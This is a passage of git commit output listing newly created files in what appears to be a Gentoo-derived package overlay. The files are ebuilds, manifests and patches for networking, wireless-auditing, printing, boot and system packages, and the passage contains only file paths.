net-p2p/gnunet/gnunet-0.9.0_pre0.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.9.0_pre1.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.9.0_pre2.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.9.1.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.9.2.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.9.3.ebuild create mode 100644 net-p2p/gnunet/gnunet-0.9.5a.ebuild create mode 100644 net-p2p/gnunet/metadata.xml create mode 100644 net-p2p/kamailio/Manifest create mode 100644 net-p2p/kamailio/kamailio-9999.ebuild create mode 100644 net-p2p/sopcast-bin/Manifest create mode 100644 net-p2p/sopcast-bin/metadata.xml create mode 100644 net-p2p/sopcast-bin/sopcast-bin-3.2.6.ebuild create mode 100644 net-p2p/wuala/Manifest create mode 100644 net-p2p/wuala/wuala-0_pre20120716.ebuild create mode 100644 net-print/hplip/Manifest create mode 100644 net-print/hplip/files/hplip-3.10.9-cve-2010-4267.patch create mode 100644 net-print/hplip/files/hplip-3.11.1-desktop.patch create mode 100644 net-print/hplip/files/hplip-3.11.1-htmldir.patch create mode 100644 net-print/hplip/files/hplip-3.11.10-udev-attrs.patch create mode 100644 net-print/hplip/files/hplip-3.9.10-browser.patch create mode 100644 net-print/hplip/files/hplip-3.9.12-cupsddk.patch create mode 100644 net-print/hplip/files/hplip-3.9.12-systray.patch create mode 100644 net-print/hplip/hplip-3.12.10.ebuild create mode 100644 net-print/hplip/hplip-3.12.10a-r1.ebuild create mode 100644 net-print/hplip/hplip-3.12.10a.ebuild create mode 100644 net-print/hplip/hplip-3.12.11-r1.ebuild create mode 100644 net-print/hplip/hplip-3.12.11.ebuild create mode 100644 net-print/hplip/hplip-3.12.4.ebuild create mode 100644 net-print/hplip/hplip-3.12.9-r1.ebuild create mode 100644 net-wireless/afrag/Manifest create mode 100644 net-wireless/afrag/afrag-0.1.ebuild create mode 100644 net-wireless/aircrack-ng/Manifest create mode 100644 net-wireless/aircrack-ng/aircrack-ng-1.1-r6.ebuild create mode 100644 net-wireless/aircrack-ng/aircrack-ng-9999.ebuild create mode 100644 net-wireless/aircrack-ng/files/aircrack-ng-1.1-respect_LDFLAGS.patch create mode 100644 net-wireless/aircrack-ng/files/airdrop-ng-oui-path-fix.patch create mode 100644 net-wireless/aircrack-ng/files/airodump-ng-oui-update-path-fix.patch create mode 100644 net-wireless/aircrack-ng/files/airodump-ng.ignore-negative-one.v4.patch create mode 100644 net-wireless/aircrack-ng/files/changeset_r1921_backport.diff create mode 100644 net-wireless/aircrack-ng/files/diff-wpa-migration-mode-aircrack-ng.diff create mode 100644 net-wireless/aircrack-ng/files/eapol_fix.patch create mode 100644 net-wireless/aircrack-ng/files/ignore-channel-1-error.patch create mode 100644 net-wireless/aircrack-ng/files/pic-fix.patch create mode 100644 net-wireless/aircrackgui-m4/Manifest create mode 100644 net-wireless/aircrackgui-m4/aircrackgui-m4-0.7.0.ebuild create mode 100644 net-wireless/airoscript/Manifest create mode 100644 net-wireless/airoscript/airoscript-9999.ebuild create mode 100644 net-wireless/airpwn/Manifest create mode 100644 net-wireless/airpwn/airpwn-1.4-r1.ebuild create mode 100644 net-wireless/b43-openfwwf/Manifest create mode 100644 net-wireless/b43-openfwwf/b43-openfwwf-5.2.ebuild create mode 100644 net-wireless/b43-tools/Manifest create mode 100644 net-wireless/b43-tools/b43-tools-9999.ebuild create mode 100644 net-wireless/bluemaho/Manifest create mode 100644 net-wireless/bluemaho/bluemaho-090417-r1.ebuild create mode 100644 net-wireless/bluemaho/files/bluemaho create mode 100644 net-wireless/bluemaho/files/btftp-libxml.patch create mode 100644 net-wireless/broadcom-firmware-downloader/Manifest create mode 100644 net-wireless/broadcom-firmware-downloader/broadcom-firmware-downloader-0.1-r2.ebuild create mode 100644 net-wireless/broadcom-firmware-downloader/broadcom-firmware-downloader-0.2.ebuild create mode 100644 net-wireless/broadcom-firmware-installer/Manifest create mode 100644 net-wireless/broadcom-firmware-installer/broadcom-firmware-installer-0.1-r3.ebuild create mode 100644 net-wireless/broadcom-firmware-installer/broadcom-firmware-installer-0.2.ebuild create mode 100644 net-wireless/bt-audit/Manifest create mode 100644 net-wireless/bt-audit/bt-audit-0.1.1-r1.ebuild create mode 100644 net-wireless/btscanner/Manifest create mode 100644 net-wireless/btscanner/btscanner-2.1-r4.ebuild create mode 100644 net-wireless/compat-wireless-builder/Manifest create mode 100644 net-wireless/compat-wireless-builder/compat-wireless-builder-3.3.6.ebuild create mode 100644 net-wireless/compat-wireless-builder/compat-wireless-builder-3.4_rc3.ebuild create mode 100644 net-wireless/compat-wireless-builder/compat-wireless-builder-3.4_rc7.ebuild create mode 120000 net-wireless/compat-wireless-builder/files create mode 100644 net-wireless/compat-wireless/Manifest create mode 100644 net-wireless/compat-wireless/compat-wireless-2.6.32.8.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-2.6.33-r1.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-2.6.34-r2.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-2.6.35-r1.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-2.6.36.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-2.6.37-r7.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-2.6.37-r8.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-2.6.38.2-r1.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-2.6.39-r1.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-3.0.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-3.1.1.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-3.2.5.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-3.2.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-3.3-r1.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-3.3.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-3.4_rc1-r1.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-3.4_rc1.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-3.4_rc3.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-3.5-r1.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-3.5.4.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-3.5.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-3.5_rc3.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-3.6.2.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-3.6.6-r1.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-3.6.6.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-3.6_rc5.ebuild create mode 100644 net-wireless/compat-wireless/compat-wireless-3.6_rc7.ebuild create mode 100644 net-wireless/compat-wireless/files/0001-ath5k-retain-promiscuous-setting.patch create mode 100644 net-wireless/compat-wireless/files/4000_mac80211_2.6.28-rc4-wl_frag+ack_v3.patch create mode 100644 net-wireless/compat-wireless/files/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch create mode 100644 net-wireless/compat-wireless/files/4004_zd1211rw-2.6.28.patch create mode 100644 net-wireless/compat-wireless/files/4005_ath5k-frequency-expansion-2.6.30.patch create mode 100644 net-wireless/compat-wireless/files/4007_ath5k-pass-failed-crc.patch create mode 100644 net-wireless/compat-wireless/files/4012_openwrt-b43-disable_qos_when_openfw.patch create mode 100644 net-wireless/compat-wireless/files/4013-runtime-enable-disable-of-mac80211-packet-injection.patch create mode 100644 net-wireless/compat-wireless/files/4099-2.6.32-rc7-mac80211-security-fixes.patch create mode 100644 net-wireless/compat-wireless/files/WEXT-EXT-nuts.patch create mode 100644 net-wireless/compat-wireless/files/ath9k_htc_ethtool_driver.patch create mode 100644 net-wireless/compat-wireless/files/ath_ignore_eeprom.patch create mode 100644 net-wireless/compat-wireless/files/ath_regd_optional.patch create mode 100644 net-wireless/compat-wireless/files/blinky.patch create mode 100644 net-wireless/compat-wireless/files/channel-negative-one-maxim.patch create mode 100644 net-wireless/compat-wireless/files/compat-chaos.patch create mode 100644 net-wireless/compat-wireless/files/compat-sched.patch create mode 100644 net-wireless/compat-wireless/files/compat-wireless-3.5-grsec.patch create mode 100644 net-wireless/compat-wireless/files/compat-wireless-3.5-grsec2.patch create mode 100644 net-wireless/compat-wireless/files/compat-wireless-3.5.4-grsec.patch create mode 100644 net-wireless/compat-wireless/files/compat-wireless-3.6-grsec.patch create mode 100644 net-wireless/compat-wireless/files/compat-wireless-3.6-zc-grsec.patch create mode 100644 net-wireless/compat-wireless/files/compat-wireless-3.6.6-grsec-warnings.patch create mode 100644 net-wireless/compat-wireless/files/compat-wireless-3.6.6-grsec.patch create mode 100644 net-wireless/compat-wireless/files/driver-debug.patch create mode 100644 net-wireless/compat-wireless/files/failed_ath5k-frequency-chaos-2.6.28.patch create mode 100644 net-wireless/compat-wireless/files/failed_ieee80211_inject-2.6.22.patch create mode 100644 net-wireless/compat-wireless/files/failed_linux-wlanng-kernel-2.6.28.patch create mode 100644 net-wireless/compat-wireless/files/failed_openembedded-orinoco-remove-all-which-are-in-hostap-HACK.patch create mode 100644 net-wireless/compat-wireless/files/fix-typos-2.6.35_rc2.patch create mode 100644 net-wireless/compat-wireless/files/fix-typos-2.6.36_rc5.patch create mode 100644 net-wireless/compat-wireless/files/force-enable-new-ralink-2.6.38_rc3.patch create mode 100644 net-wireless/compat-wireless/files/force-enable-new-ralink-pci-2.6.36-rc5.patch create mode 100644 net-wireless/compat-wireless/files/force-enable-new-ralink-pci.patch create mode 100644 net-wireless/compat-wireless/files/force-enable-new-ralink.patch create mode 100644 net-wireless/compat-wireless/files/ipw2200-inject.2.6.36.patch create mode 100644 net-wireless/compat-wireless/files/ipw2200-inject.3.4.6.patch create mode 100644 net-wireless/compat-wireless/files/iwlwifi-5000-exp-firmware.patch create mode 100644 net-wireless/compat-wireless/files/johill-negone-paul.patch create mode 100644 net-wireless/compat-wireless/files/johill-negone.patch create mode 100644 net-wireless/compat-wireless/files/led-oops.patch create mode 100644 net-wireless/compat-wireless/files/leds-disable-strict-3.6.6.patch create mode 100644 net-wireless/compat-wireless/files/leds-disable-strict.patch create mode 100644 net-wireless/compat-wireless/files/leds-disable.patch create mode 100644 net-wireless/compat-wireless/files/linville-aircrack-ng.patch create mode 100644 net-wireless/compat-wireless/files/mac80211.compat08082009.wl_frag+ack_v1.patch create mode 100644 net-wireless/compat-wireless/files/make-make.patch create mode 100644 net-wireless/compat-wireless/files/orinoco-remove-all-which-are-in-hostap-OFFICIAL.patch create mode 100644 net-wireless/compat-wireless/files/reinette-test2.patch create mode 100644 net-wireless/compat-wireless/files/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch create mode 100644 net-wireless/compat-wireless/files/super_secret_patch.diff create mode 100644 net-wireless/compat-wireless/files/ubnt-wifi-station-ext2.patch create mode 100644 net-wireless/compat-wireless/files/whynot-2.6.31.patch create mode 100644 net-wireless/compat-wireless/files/whynot-2.6.32.patch create mode 100644 net-wireless/compat-wireless/files/whynot.patch create mode 100644 net-wireless/compat-wireless/files/wl1251-inject-2.6.37.patch create mode 100644 net-wireless/compat-wireless/metadata.xml create mode 100644 net-wireless/cowpatty/Manifest create mode 100644 net-wireless/cowpatty/cowpatty-4.3-r2.ebuild create mode 100644 net-wireless/cowpatty/cowpatty-4.6-r4.ebuild create mode 100644 net-wireless/cowpatty/files/cowpatty-4.3-fixup2.patch create mode 100644 net-wireless/cowpatty/files/cowpatty-4.3-hashfix.patch create mode 100644 net-wireless/cowpatty/files/cowpatty-4.6-fixup14.patch create mode 100644 net-wireless/crda/Manifest create mode 100644 net-wireless/crda/crda-1.1.0-r1.ebuild create mode 100644 net-wireless/crda/crda-1.1.1.ebuild create mode 100644 net-wireless/dedected/Manifest create mode 100644 net-wireless/dedected/dedected-9999.ebuild create mode 100644 net-wireless/dedected/files/99-dect.rules create mode 100644 net-wireless/dedected/files/load-dect.sh create mode 100644 net-wireless/desknfc/Manifest create mode 100644 net-wireless/desknfc/desknfc-9999.ebuild create mode 100644 net-wireless/fern-wifi-cracker/Manifest create mode 100644 net-wireless/fern-wifi-cracker/fern-wifi-cracker-1.6.ebuild create mode 100644 net-wireless/fern-wifi-cracker/files/fern-wifi-cracker create mode 100644 net-wireless/fern-wifi-cracker/files/fern-wifi-cracker.desktop create mode 100644 net-wireless/gqrx/Manifest create mode 100644 net-wireless/gqrx/gqrx-9999.ebuild create mode 100644 net-wireless/gr-air-modes/Manifest create mode 100644 net-wireless/gr-air-modes/files/modes.py create mode 100644 net-wireless/gr-air-modes/files/rtl_modes.py create mode 100644 net-wireless/gr-air-modes/gr-air-modes-9999.ebuild create mode 100644 net-wireless/grimwepa/Manifest create mode 100644 net-wireless/grimwepa/files/grimwepa.conf create mode 100644 net-wireless/grimwepa/files/grimwepa.desktop create mode 100644 net-wireless/grimwepa/files/grimwepa.sh create mode 100644 net-wireless/grimwepa/grimwepa-1.10_p5-r100.ebuild create mode 100644 net-wireless/haraldscan/Manifest create mode 100644 net-wireless/haraldscan/files/haraldscan-maclist-path.patch create mode 100644 net-wireless/haraldscan/haraldscan-0.41.ebuild create mode 100644 net-wireless/horst/Manifest create mode 100644 net-wireless/horst/horst-3.0.ebuild create mode 100644 net-wireless/hostapd/ChangeLog create mode 100644 net-wireless/hostapd/Manifest create mode 100644 net-wireless/hostapd/files/cui-20120417.patch create mode 100644 net-wireless/hostapd/files/cui-20120717.patch create mode 100644 net-wireless/hostapd/files/hostapd-0.7.3-karma.patch create mode 100644 net-wireless/hostapd/files/hostapd-1.0-karma-0.2.patch create mode 100644 net-wireless/hostapd/files/hostapd-1.0-karma.patch create mode 100644 net-wireless/hostapd/files/hostapd-1.0-libnl_path_fix.patch create mode 100644 net-wireless/hostapd/files/hostapd-1.0-tls_length_fix.patch create mode 100644 net-wireless/hostapd/files/hostapd-conf.d create mode 100644 net-wireless/hostapd/files/hostapd-init.d create mode 100644 net-wireless/hostapd/hostapd-1.0-r4.ebuild create mode 100644 net-wireless/hostapd/hostapd-1.0-r5.ebuild create mode 100644 net-wireless/hostapd/metadata.xml create mode 100644 net-wireless/intel-wimax-binary-supplicant/Manifest create mode 100644 net-wireless/intel-wimax-binary-supplicant/files/50-intel-wimax-binary-supplicant create mode 100644 net-wireless/intel-wimax-binary-supplicant/files/install-to-usr-lib.patch create mode 100644 net-wireless/intel-wimax-binary-supplicant/intel-wimax-binary-supplicant-1.4.0.ebuild create mode 100644 net-wireless/intel-wimax-network-service/Manifest create mode 100755 net-wireless/intel-wimax-network-service/files/wimax create mode 100644 net-wireless/intel-wimax-network-service/intel-wimax-network-service-1.4.0-r1.ebuild create mode 100644 net-wireless/intel-wimax-network-service/intel-wimax-network-service-1.4.0.ebuild create mode 100644 net-wireless/intel-wimax-tools/Manifest create mode 100644 net-wireless/intel-wimax-tools/intel-wimax-tools-1.4.2.1.ebuild create mode 100644 net-wireless/intel-wimax-tools/intel-wimax-tools-1.4.2.ebuild create mode 100644 net-wireless/ipw2200/ChangeLog create mode 100644 net-wireless/ipw2200/Manifest create mode 100644 net-wireless/ipw2200/files/digest-ipw2200-1.2.0 create mode 100644 net-wireless/ipw2200/files/ipw2200-1.2.0-inject.patch create mode 100644 net-wireless/ipw2200/files/ipw2200-1.2.0-modverdir.patch create mode 100644 net-wireless/ipw2200/ipw2200-1.2.0.ebuild create mode 100644 net-wireless/karmetasploit/Manifest create mode 100644 net-wireless/karmetasploit/files/karma.rc create mode 100644 net-wireless/karmetasploit/files/karmeta-dhcpd.conf create mode 100755 net-wireless/karmetasploit/files/karmeta.sh create mode 100644 net-wireless/karmetasploit/karmetasploit-0.1-r2.ebuild create mode 100644 net-wireless/killerbee/Manifest create mode 100644 net-wireless/killerbee/killerbee-9999.ebuild create mode 100644 net-wireless/kismet-dect/Manifest create mode 100644 net-wireless/kismet-dect/kismet-dect-9999.ebuild create mode 100644 net-wireless/libfreefare/Manifest create mode 100644 net-wireless/libfreefare/libfreefare-0.3.2.ebuild create mode 100644 net-wireless/linux-wlan-ng-modules/Manifest create mode 100644 net-wireless/linux-wlan-ng-modules/files/digest-linux-wlan-ng-modules-0.2.5 create mode 100644 net-wireless/linux-wlan-ng-modules/files/linux-wlan-0.2.3.packet.injection.patch create mode 100644 net-wireless/linux-wlan-ng-modules/linux-wlan-ng-modules-0.2.5.ebuild create mode 100644 net-wireless/lorcon-old/Manifest create mode 100644 net-wireless/lorcon-old/lorcon-old-9999.ebuild create mode 100644 net-wireless/lorcon/Manifest create mode 100644 net-wireless/lorcon/lorcon-9999.ebuild create mode 100644 net-wireless/mdk/Manifest create mode 100644 net-wireless/mdk/files/fix_wids_mdk3_v5.patch create mode 100644 net-wireless/mdk/mdk-3.6.ebuild create mode 100644 net-wireless/mfoc/Manifest create mode 100644 net-wireless/mfoc/files/mfoc-libnfc-1.5.1.patch create mode 100644 net-wireless/mfoc/mfoc-0.10.2.ebuild create mode 100644 net-wireless/nfcd/Manifest create mode 100644 net-wireless/nfcd/nfcd-9999.ebuild create mode 100644 net-wireless/op25/Manifest create mode 100644 net-wireless/op25/op25-9999.ebuild create mode 100644 net-wireless/prism54/ChangeLog create mode 100644 net-wireless/prism54/Manifest create mode 100644 net-wireless/prism54/files/digest-prism54-20050724 create mode 100755 net-wireless/prism54/files/prism54-svn-20050724.patch create mode 100644 net-wireless/prism54/metadata.xml create mode 100644 net-wireless/prism54/prism54-20050724.ebuild create mode 100644 net-wireless/ralink-firmware/Manifest create mode 100644 net-wireless/ralink-firmware/ralink-firmware-20090213.ebuild create mode 100644 net-wireless/reaver/ChangeLog create mode 100644 net-wireless/reaver/Manifest create mode 100644 net-wireless/reaver/files/0001-wpscrack-big-endian-fixes.patch create mode 100644 net-wireless/reaver/files/0002-Use-the-current-directory-for-storing-and-loading-se.patch create mode 100644 net-wireless/reaver/files/0003-wash-wpsmon-use-less-useless-spaces-in-output-to-fit.patch create mode 100644 net-wireless/reaver/files/0004-wash-probe-request.patch create mode 100644 net-wireless/reaver/files/0005-soreau-show-status-r2.patch create mode 100644 net-wireless/reaver/files/0005-soreau-show-status.patch create mode 100644 net-wireless/reaver/metadata.xml create mode 100644 net-wireless/reaver/reaver-1.4-r1.ebuild create mode 100644 net-wireless/reaver/reaver-1.4-r2.ebuild create mode 100644 net-wireless/reaver/reaver-1.4-r3.ebuild create mode 100644 net-wireless/rfidtool/Manifest create mode 100644 net-wireless/rfidtool/rfidtool-0.01.ebuild create mode 100644 net-wireless/sdrsharp/ChangeLog create mode 100644 net-wireless/sdrsharp/Manifest create mode 100644 net-wireless/sdrsharp/files/sdrsharp create mode 100644 net-wireless/sdrsharp/metadata.xml create mode 100644 net-wireless/sdrsharp/sdrsharp-9999.ebuild create mode 100644 net-wireless/ska/Manifest create mode 100644 net-wireless/ska/files/digest-ska-0.2 create mode 100644 net-wireless/ska/ska-0.2.ebuild create mode 100644 net-wireless/virtualradar-bin/Manifest create mode 100644 net-wireless/virtualradar-bin/files/virtualradar create mode 100644 net-wireless/virtualradar-bin/virtualradar-bin-1.0.5.ebuild create mode 100644 net-wireless/virtualradar-bin/virtualradar-bin-9999.ebuild create mode 100644 net-wireless/wepcrackgui/Manifest create mode 100644 net-wireless/wepcrackgui/wepcrackgui-9999.ebuild create mode 100644 net-wireless/wifitap/Manifest create mode 100644 net-wireless/wifitap/wifitap-0.4.0-r4.ebuild create mode 100644 net-wireless/wifite/Manifest create mode 100644 net-wireless/wifite/files/wifite-2-noupgrade.patch create mode 100644 net-wireless/wifite/files/wifite-noupgrade.patch create mode 100644 net-wireless/wifite/metadata.xml create mode 100644 net-wireless/wifite/wifite-0.84.ebuild create mode 100644 net-wireless/wifite/wifite-2.0_beta_p10.ebuild create mode 100644 net-wireless/wifite/wifite-2.85-r1.ebuild create mode 100644 net-wireless/wifite/wifite-2.85.ebuild create mode 100644 net-wireless/wireless-regdb/Manifest create mode 100644 net-wireless/wireless-regdb/files/extra-monitor-20090817.patch create mode 100644 net-wireless/wireless-regdb/files/extra-monitor-20091125.patch create mode 100644 net-wireless/wireless-regdb/files/extra-monitor-debug.patch create mode 100644 net-wireless/wireless-regdb/files/extra-monitor.patch create mode 100644 net-wireless/wireless-regdb/wireless-regdb-20090130-r1.ebuild create mode 100644 net-wireless/wireless-regdb/wireless-regdb-20090309.ebuild create mode 100644 net-wireless/wireless-regdb/wireless-regdb-20090817.ebuild create mode 100644 net-wireless/wireless-regdb/wireless-regdb-20091125-r1.ebuild create mode 100644 net-wireless/wireless-regdb/wireless-regdb-20091125.ebuild create mode 100644 overlay.xml create mode 100644 profiles/categories create mode 100644 profiles/repo_name create mode 100644 repository.xml create mode 100644 sci-libs/gsl-empty/Manifest create mode 100644 sci-libs/gsl-empty/files/cblas.pc.in create mode 100644 sci-libs/gsl-empty/files/eselect.cblas.gsl create mode 100644 sci-libs/gsl-empty/files/gsl-1.15-cblas.patch create mode 100644 sci-libs/gsl-empty/gsl-empty-1.15.ebuild create mode 100644 sci-libs/gsl-empty/metadata.xml create mode 100644 sci-libs/gsl/Manifest create mode 100644 sci-libs/gsl/files/cblas.pc.in create mode 100644 sci-libs/gsl/files/eselect.cblas.gsl create mode 100644 sci-libs/gsl/files/gsl-1.15-cblas.patch create mode 100644 sci-libs/gsl/gsl-1.15.ebuild create mode 100644 sci-libs/gsl/metadata.xml create mode 100644 sets/X create mode 100644 sets/claws-plugins create mode 100644 sets/e17 create mode 100644 sets/entropy create mode 100644 sets/entropy-no-kde create mode 100644 sets/fluxbox create mode 100644 sets/gnome create mode 100644 sets/gst-plugins create mode 100644 sets/gst-plugins-extra create mode 100644 sets/ime-fonts create mode 100644 sets/ime-fonts-support create mode 100644 sets/intel-kernels create mode 100644 sets/lxde create mode 100644 sets/packagekit create mode 100644 sets/rogentos-artwork create mode 100644 sets/wireless create mode 100644 sets/xfce create mode 100644 sys-apps/baselayout/Manifest create mode 100644 sys-apps/baselayout/baselayout-2.0.3-r1.ebuild create mode 100644 sys-apps/baselayout/baselayout-2.1.ebuild create mode 100644 sys-apps/baselayout/baselayout-2.2.ebuild create mode 100644 sys-apps/baselayout/files/baselayout-1.12.14-iproute.patch create mode 100644 sys-apps/baselayout/files/baselayout-2.0.1-proc_touch.patch create mode 100644 sys-apps/baselayout/files/baselayout-2.0.3-slash-run-dir.patch create mode 100644 sys-apps/baselayout/files/baselayout-rogentos-os-release.patch create mode 100644 sys-apps/baselayout/metadata.xml create mode 100644 sys-apps/gpu-detector/Manifest create mode 100755 sys-apps/gpu-detector/files/gpu-configuration create mode 100644 sys-apps/gpu-detector/gpu-detector-2.5.0-r3.ebuild create mode 100644 sys-apps/gpu-detector/gpu-detector-2.6-r2.ebuild create mode 100644 sys-apps/gpu-detector/gpu-detector-2.6-r6.ebuild create mode 100644 sys-apps/gpu-detector/gpu-detector-3.ebuild create mode 100644 sys-apps/lsb-release/Manifest create mode 100644 sys-apps/lsb-release/files/lsb-release-rogentos-version.patch create mode 100644 sys-apps/lsb-release/lsb-release-1.4.ebuild create mode 100644 sys-apps/lsb-release/metadata.xml create mode 100644 sys-apps/openrc/Manifest create mode 100644 sys-apps/openrc/Reasons create mode 100644 sys-apps/openrc/files/0001-Filter-the-systemd-cgroup-from-the-current-process.patch create mode 100644 sys-apps/openrc/files/0001-efivarfs-Support-EFI-variable-access-in-3.10-kernels.patch create mode 100644 sys-apps/openrc/files/openrc-0.5.3-disable_warns_until_migrated.patch create mode 100644 sys-apps/openrc/files/openrc-0.6.1-fix-clockskew-error-handling.patch create mode 100644 sys-apps/openrc/files/openrc-0.6.1-network-syntax.patch create mode 100644 sys-apps/openrc/files/openrc-0.8.3-ccwgroup.patch create mode 100644 sys-apps/openrc/files/openrc-0.8.3-deprecation_warning.patch create mode 100644 sys-apps/openrc/files/openrc-0.9.9.3-do-not-print-error-if-tmplog-cannot-be-read.patch create mode 100644 sys-apps/openrc/files/openrc-9999-pause.patch create mode 100644 sys-apps/openrc/files/openrc-enable-interactive-2.patch create mode 100644 sys-apps/openrc/files/openrc-enable-interactive.patch create mode 100644 sys-apps/openrc/files/openrc-netmount-fix.patch create mode 100644 sys-apps/openrc/files/openrc-protect-rcsvcdir-for-symlink.patch create mode 100644 sys-apps/openrc/files/openrc-sabayon-config-2.patch create mode 100644 sys-apps/openrc/files/openrc-sabayon-config.patch create mode 100644 sys-apps/openrc/files/openrc.logrotate create mode 100644 sys-apps/openrc/files/start-stop-daemon.pam create mode 100644 sys-apps/openrc/metadata.xml create mode 100644 sys-apps/openrc/openrc-0.10.5.ebuild create mode 100644 sys-apps/openrc/openrc-0.11.8.ebuild create mode 100644 sys-apps/openrc/openrc-0.12.4.ebuild create mode 100644 sys-apps/openrc/openrc-0.12_pre1-r1.ebuild create mode 100644 sys-apps/openrc/openrc-0.12_pre1-r2.ebuild create mode 100644 sys-apps/openrc/openrc-0.12_pre1.ebuild create mode 100644 sys-apps/openrc/openrc-0.8.2-r1.ebuild create mode 100644 sys-apps/openrc/openrc-0.8.3-r1.ebuild create mode 100644 sys-apps/openrc/openrc-0.9.8.1.ebuild create mode 100644 sys-apps/openrc/openrc-0.9.9.3.ebuild create mode 100644 sys-boot/grub-handler/Manifest create mode 100755 sys-boot/grub-handler/files/grub-handler create mode 100644 sys-boot/grub-handler/grub-handler-0.2-r6.ebuild create mode 100644 sys-boot/grub/Manifest create mode 100755 sys-boot/grub/files/00_fonts create mode 100755 sys-boot/grub/files/05_distro_theme create mode 100644 sys-boot/grub/files/grub-0.97-gfxmenu-v8.patch create mode 100644 sys-boot/grub/files/grub-0.97-uuid.patch create mode 100644 sys-boot/grub/files/grub-0.97-uuid_doc.patch create mode 100644 sys-boot/grub/files/grub-1.96-genkernel.patch create mode 100644 sys-boot/grub/files/grub-1.97-genkernel.patch create mode 100644 sys-boot/grub/files/grub-1.97-hostdisk.patch create mode 100644 sys-boot/grub/files/grub-1.97-vga-deprecated.patch create mode 100644 sys-boot/grub/files/grub-1.97-wallpaper-settings-support.patch create mode 100644 sys-boot/grub/files/grub-1.98-add-legacy-rootfs-detection.patch create mode 100644 sys-boot/grub/files/grub-1.98-follow-dev-mapper-symlinks.patch create mode 100644 sys-boot/grub/files/grub-1.98-genkernel-initramfs-single.patch create mode 100644 sys-boot/grub/files/grub-1.98-genkernel.patch create mode 100644 sys-boot/grub/files/grub-1.98-wallpaper-settings-support.patch create mode 100644 sys-boot/grub/files/grub-1.99-disable-floppies.patch create mode 100644 sys-boot/grub/files/grub-1.99-genkernel.patch create mode 100644 sys-boot/grub/files/grub-1.99-vga-deprecated-not-yet.patch create mode 100644 sys-boot/grub/files/grub-1.99-vga-deprecated.patch create mode 100644 sys-boot/grub/files/grub-1.99-wallpaper-settings-support.patch create mode 100644 sys-boot/grub/files/grub-1.99-workaround-raid-bios-bug.patch create mode 100644 sys-boot/grub/files/grub-2.00-20_linux_xen.patch create mode 100644 sys-boot/grub/files/grub-2.00-compression.patch create mode 100644 sys-boot/grub/files/grub-2.00-config-quoting.patch create mode 100644 sys-boot/grub/files/grub-2.00-dmraid.patch create mode 100644 sys-boot/grub/files/grub-2.00-freebsd.patch create mode 100644 sys-boot/grub/files/grub-2.00-genkernel-initramfs-single.patch create mode 100644 sys-boot/grub/files/grub-2.00-hardcoded-awk.patch create mode 100644 sys-boot/grub/files/grub-2.00-no-gets.patch create mode 100644 sys-boot/grub/files/grub-2.00-os-prober-efi-system.patch create mode 100644 sys-boot/grub/files/grub-2.00-parallel-make.patch create mode 100644 sys-boot/grub/files/grub-2.00-rogentos-patch.patch create mode 100644 sys-boot/grub/files/grub-2.00-secureboot-user-sign-2.patch create mode 100644 sys-boot/grub/files/grub-2.00-secureboot-user-sign.patch create mode 100644 sys-boot/grub/files/grub-2.00-texinfo.patch create mode 100644 sys-boot/grub/files/grub-2.00-tftp-endian.patch create mode 100644 sys-boot/grub/files/grub-2.00-vga-deprecated-not-yet.patch create mode 100644 sys-boot/grub/files/grub-2.00-wallpaper-settings-support.patch create mode 100644 sys-boot/grub/files/grub-2.00-zfs-feature-flag-support-r1.patch create mode 100644 sys-boot/grub/files/grub-2.00-zfs-feature-flag-support.patch create mode 100644 sys-boot/grub/files/grub.conf.gentoo create mode 100644 sys-boot/grub/files/grub.default-2 create mode 100644 sys-boot/grub/files/grub2-default create mode 100644 sys-boot/grub/files/grub2-default-1.99 create mode 100644 sys-boot/grub/files/splash.xpm.gz create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/01_uuids_and_lvm_dont_play_along_nicely.diff create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/902_boot_blocklist_hack.diff create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/904_disable_floppies.diff create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/956_loopback_root.diff create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/957_handle_loopback.diff create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/958_linux_no_loopmount.diff create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/960_raid_virtio.diff create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/961_dmraid_probe.diff create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/962_no_device_map.diff create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/968_hostdisk_speedup.diff create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/969_lvm_raid_probe.diff create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/970_fix_locale_installation.diff create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/971_langpacks.diff create mode 100644 